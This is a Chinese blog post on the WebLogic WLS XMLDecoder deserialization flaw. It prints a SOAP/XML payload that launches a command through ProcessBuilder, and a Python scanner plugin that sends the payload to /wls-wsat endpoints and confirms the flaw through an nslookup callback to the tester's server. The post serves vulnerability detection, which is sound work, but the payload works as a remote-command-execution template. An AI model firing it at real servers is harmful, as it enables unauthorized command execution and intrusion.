weblogic新漏洞学习cve-2017-3506

一、原理:

  很明显啦,readobject又出来背锅了,一个XML的反序列化漏洞导致的命令执行。

  具体原理我看不懂java代码的我也只能学习别人的分析。给出一篇参考文章,写的非常详细:

  漏洞原理

二、如何构造命令执行的payload-xml:

 1 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
 2     <soapenv:Header>
 3         <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 4             <java version="1.8" class="java.beans.XMLDecoder">
 5                 <void class="java.lang.ProcessBuilder">
 6                     <array class="java.lang.String" length="3">
 7                         <void index="0">
 8                             <string>nslookup</string> #命令名称
 9                         </void>
10                         <void index="1">
11                             <string>%s</string> #巡风的随机字符串,用来后面去查HTTP或者DNS log的flag字符串
12                         </void>
13                         <void index="2">
14                             <string>%s</string> #目标IP
15                         </void>
16                     </array>
17                 <void method="start"/>
18                 </void>
19             </java>
20         </work:WorkContext>
21     </soapenv:Header>
22     <soapenv:Body/>
23 </soapenv:Envelope>

三、巡风的poc分析:

讲一下验证流程:

1、首先发包请求目标地址,如果目标地址返回存在banner信息:Web Services在报文中则进行下一步测试。 (首先得有weblogic啊)

2、发请求把XML内容 POST到目标主机去,休息2s后请求巡风的自己的WEB服务器上的http://%s:8088/{随机字符串} 相当于记录了NSLOOKUP的dnslog。如何查到了,返回结果有YES则存在漏洞,否则不存在。

  1 #!/usr/bin/python
  2 # coding:utf-8
  3 ‘‘‘
  4 巡风及巡风的插件基于python2
  5 主要有两个函数:
  6 get_plugin_info() 返回插件信息
  7 check(ip, port, timeout) 接收IP,端口号及超时参数供巡风主程序调用,有返回值且返回值在判断里为True,即为漏洞存在,返回值即为本次的扫描结果,详情请看接下来的函数实现
  8 ‘‘‘
  9
 10 import random
 11 import urllib2
 12 import socket
 13 from time import sleep
 14
 15
 16 def get_plugin_info():
 17     ‘‘‘get_plugin_info 函数用于返回该插件和插件所检测漏洞的信息‘‘‘
 18     plugin_info = {
 19         "name": "WebLogic WLS RCE CVE-2017-10271",
 20         "info": "Oracle WebLogic Server WLS安全组件中的缺陷导致远程命令执行",
 21         "level": "高危",
 22         "type": "命令执行",
 23         "author": "[email protected]",
 24         "url": "https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html",
 25         "keyword": "tag:weblogic",
 26     }
 27     return plugin_info
 28
 29
 30 def random_str(len):
 31     ‘‘‘返回随机字符串‘‘‘
 32     str1 = ""
 33     for i in range(len):
 34         str1 += (random.choice("ABCDEFGH1234567890"))
 35     return str(str1)
 36
 37
 38 def get_ver_ip(ip):
 39     ‘‘‘返回当前服务器ip,当poc所用payload无回显时,可以使用巡风辅助验证的http服务和dns服务‘‘‘
 40     csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 41     csock.connect((ip, 80))
 42     (addr, port) = csock.getsockname()
 43     csock.close()
 44     return addr
 45
 46
 47 def check(ip, port, timeout):
 48     ‘‘‘本次poc的验证的主函数,巡风会调用该函数进行漏洞检测‘‘‘
 49     test_str = random_str(6)
 50     server_ip = get_ver_ip(ip)
 51     check_url = [‘/wls-wsat/CoordinatorPortType‘, ‘/wls-wsat/CoordinatorPortType11‘]
 52
 53     heads = {
 54         ‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)‘,
 55         ‘Accept‘: ‘text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8‘,
 56         ‘Accept-Language‘: ‘zh-CN,zh;q=0.8‘,
 57         ‘SOAPAction‘: "",
 58         ‘Content-Type‘: ‘text/xml;charset=UTF-8‘,
 59     }
 60
 61     # 本次漏洞的payload
 62     # 本次命令执行漏洞的payload所触发的response没有明显回显和行为提供判断,所以作者使用nslookup发送dns请求到get_ver_ip函数中取到的服务器地址,如果巡风服务器收到带有random_str函数生成的随机字符串的dns请求即可判断为漏洞存在。
 63     post_str = ‘‘‘
 64         <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
 65           <soapenv:Header>
 66             <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 67               <java version="1.8" class="java.beans.XMLDecoder">
 68                 <void class="java.lang.ProcessBuilder">
 69                   <array class="java.lang.String" length="3">
 70                     <void index="0">
 71                       <string>nslookup</string>
 72                     </void>
 73                     <void index="1">
 74                       <string>%s</string>
 75                     </void>
 76                     <void index="2">
 77                       <string>%s</string>
 78                     </void>
 79                   </array>
 80                   <void method="start"/>
 81                 </void>
 82               </java>
 83             </work:WorkContext>
 84           </soapenv:Header>
 85           <soapenv:Body/>
 86         </soapenv:Envelope>
 87                 ‘‘‘ % (test_str, server_ip)
 88     for url in check_url:
 89         target_url = ‘http://‘ + ip + ‘:‘ + str(port) + url.strip()
 90         req = urllib2.Request(url=target_url, headers=heads)
 91         if ‘Web Services‘ in urllib2.urlopen(req, timeout=timeout).read():
 92             req = urllib2.Request(url=target_url, data=post_str, headers=heads)
 93             try:
 94                 urllib2.urlopen(req, timeout=timeout).read()
 95             except urllib2.URLError:
 96                 pass
 97             sleep(2)
 98             # 这里请求 http://{巡风的地址}:8088/{本次生成随机字符串} 如果返回YES,则证明服务器收到该请求,漏洞存在
 99             check_result = urllib2.urlopen("http://%s:8088/%s" % (server_ip, test_str), timeout=timeout).read()
100             if "YES" in check_result:
101                 return "Exist CVE-2017-10271"
102         else:
103             pass

原文地址:https://www.cnblogs.com/KevinGeorge/p/8127154.html

时间: 2024-07-30 09:45:44

weblogic新漏洞学习cve-2017-3506的相关文章

Weblogic 历史漏洞回顾

时间线 从 2015-2018 <?xml version="1.0" encoding="GB2312"?> <rule> <readme><!-- 项目自述 --> <name>漏洞感知项目</name> <Initiator>Greekn fplythoner</Initiator> <emailone>[email protected] [email 

spring4.0.6最新稳定版新特性学习,简单学习教程(一)

Spring Framework 4.0 学习整理. Spring框架的核心部分就是Ioc容器,而Ioc控制的就是各种Bean,一个Spring项目的水平往往从其XML配置文件内容就能略知一二,很多项目,往往是外包公司的项目,配置文件往往是乱七八糟,抱着能跑就行,不报错就行的态度去写,然后在项目中后期发现各种缺失又去一通乱补,其结果就是,整个文档可读性极差,毫无章法.这也不能怪写这个XML的人,拿着苦逼程序员的工资干着架构师的工作必然是这个结果.为了程序员的幸福,我认为有必要来一套简单快速的官方

新领域学习时,高度与视角的选择

读blog 谈谈如何学习Linux内核 (一) -- 选择合理的高度,决定自己的视角 http://blog.csdn.net/minghe_uestc/article/details/18900967 深有同感,摘录如下: 高度决定视角,视角决定行动 在学习内核过程中最容易犯的错误,也是非常难掌握的其实是你站在一个什么样的高度上去学习. 站什么样的高度去学习也与自身的能力相关,所以这个问题其实更多是在新开始学习的学习者感到非常痛苦的一件事.一方面又希望自己能学懂,但是又不知道如何开始入手. 我

ASP.NET5和MVC6新特性学习

ASP.NET5和MVC6新特性学习 ? ? ASP.NET5和MVC6的新特性 在新版ASP.NET5和MVC6中,有很多变化,有些是彻底的变化,比如在最底层支持依赖注入技术,为了方便了解,我们这里列出了最重要的10大变化,以便进行学习,具体如下: ASP.NET 5现在已经是跨平台了,可以在Mac和Linux上运行. 不再有Web Forms框架了. 只支持C#,不在支持VB.NET了.(貌似最近又听说最终版VB.NET又要支持了) 新的Tag语法,@Html.LabelFor或Html.T

敏捷个人新体系学习 - 2.定位

敏捷个人内容较多,如今已成为一个体系:第一个自助式的全面自我管理练习体系,帮助你简化生活.平衡成长.開始变得爱学习.懂生活.要行动,成为一个快乐.平衡.高效的影响者. 在 敏捷个人新体系学习 – 1.实践的艺术 中我们分享了关于学习和行动的实践,今天我们继续分享敏捷个人重要的内容:定位. 下面为PPT截图,分享给大家. 有些人在近期的一两年总是感到非常迷茫,或者说一直都是迷茫的吧,最重要的是自始至终都不确定自己在迷茫什么.是过往的种种?是此刻的糊涂?还是对未来的不确定?真的连自己都不知道.每个人

敏捷个人新体系学习 - 1.实践的艺术

不能简化的方法不会被容易实践,大信息量的敏捷个人缺少主线,必须简化.新体系是对敏捷个人的一次体系化的瘦身,明天晚上我们将在YY线上进行第一次新体系的学习分享,本次分享将围绕成长.优势.学习.行动.改变.实践来分享敏捷个人新体系的主线. 如果喜欢这个PPT,可以点击下载PDF版本,可以通过敏捷个人手机应用还可以在资料中下载原始PPT版本,可以看到播放动画效果,还可以学习制作PPT,还可以与更多人分享敏捷个人. 敏捷个人新体系学习 - 1.实践的艺术

WebLogic反序列化漏洞导致getshell

本文主要是讲述在主机渗透中我们经常使用的一条路径(存活判断-端口扫描-端口删选(web端口)-针对性渗透(web渗透))进行渗透,其中主要涉及发现漏洞.利用漏洞.获取上传位置等过程中自己的一点经验技巧.简单来说,本文主要是对某主机进行渗透的全过程记录!如有不合理或错误的地方,烦请各位多多指教,谢谢! 1.1    主机存活判断 当我们得到一个主机IP时,我们首先对它进行存活判断,最简单的就是通过ping命令,但是如果主机是禁ping那么我们可能会判断失误,因此我们需要使用nmap来再次进行存活判

spring4.0.6最新稳定版新特性学习,注解自动扫描bean,自动注入bean(二)

Spring4.0的新特性我们在上一章已经介绍过了.包括它对jdk8的支持,Groovy Bean Definition DSL的支持,核心容器功能的改进,Web开发改进,测试框架改进等等.这张我们主要介绍spring4.0的自动扫描功能,以及对bean的过滤等特性进行学习. 好吧,废话少说,我们来看看代码吧. package com.herman.ss.test; import org.springframework.context.ApplicationContext; import org

Weblogic反序列化漏洞补丁更新解决方案

第一种方案如下 使用SerialKiller替换进行序列化操作的ObjectInputStream类; 在不影响业务的情况下,临时删除掉项目里的 "org/apache/commons/collections/functors/InvokerTransformer.class"文件. ObjectInputStream类为JRE的原生类,InvokerTransformer.class为weblogic基础包中的类,对上 述两个类进行修改或删除,实在无法保证对业务没有影响.如果使用上述